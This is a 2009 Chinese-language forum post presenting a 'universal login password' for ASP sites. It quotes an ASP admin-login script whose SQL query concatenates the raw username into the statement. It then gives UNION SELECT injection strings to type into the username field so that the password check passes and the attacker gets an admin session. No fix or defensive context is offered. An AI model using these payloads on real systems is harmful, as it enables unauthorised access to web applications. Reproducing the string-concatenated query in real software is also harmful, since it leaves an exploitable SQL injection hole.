ASP注入万能登陆密码 |
|
发起人:piaoling 回复数:0 浏览数:5662 最后更新:2009/5/21 9:39:01 by piaoling |
选择查看 | 搜索更多相关主题 帖子排序: |
piaoling 发表于 2009/5/21 9:39:01
|
ASP注入万能登陆密码 《黑客手册》样刊里面,oldjun提到一种新的万能登陆密码。比如网上有很多这样的登陆验证代码: 程序代码 <% username=trim(Request.Form("username")) password=trim(Request.Form("password")) sql="Select * FROM admin Where user='"&username&"'" Set rs=Server.CreateObject("adodb.recordset") rs.Open sql,conn,1,1 if rs.eof then checksysUser=FALSE else passwd=trim(rs("pwd")) if passwd=password then Session("admin")=username checksysUser=TRUE else checksysUser=FALSE end if End if rs.close conn.close if checksysUser=true then Response.Redirect("main.asp") else errmsg="<font color=#FF0000><b>用户名输入有误,请重新输入!</b></font>" end if %> 先在数据库中查询用户名对应的密码,然后再和用户输入的密码对比,导致'or'='or'这样的万能登陆密码失效。 但如果在上面的程序中,用户名输入 程序代码 ' UNION Select 1,1,1 FROM admin Where ''=' ,密码输入1,就可以登陆成功,原理很简单,就不多说了。 顺便附上oldjun的语句: 程序代码 ' UNION Select 1,1,1 AS pwd FROM admin Where ''='
|
返回页首↑ |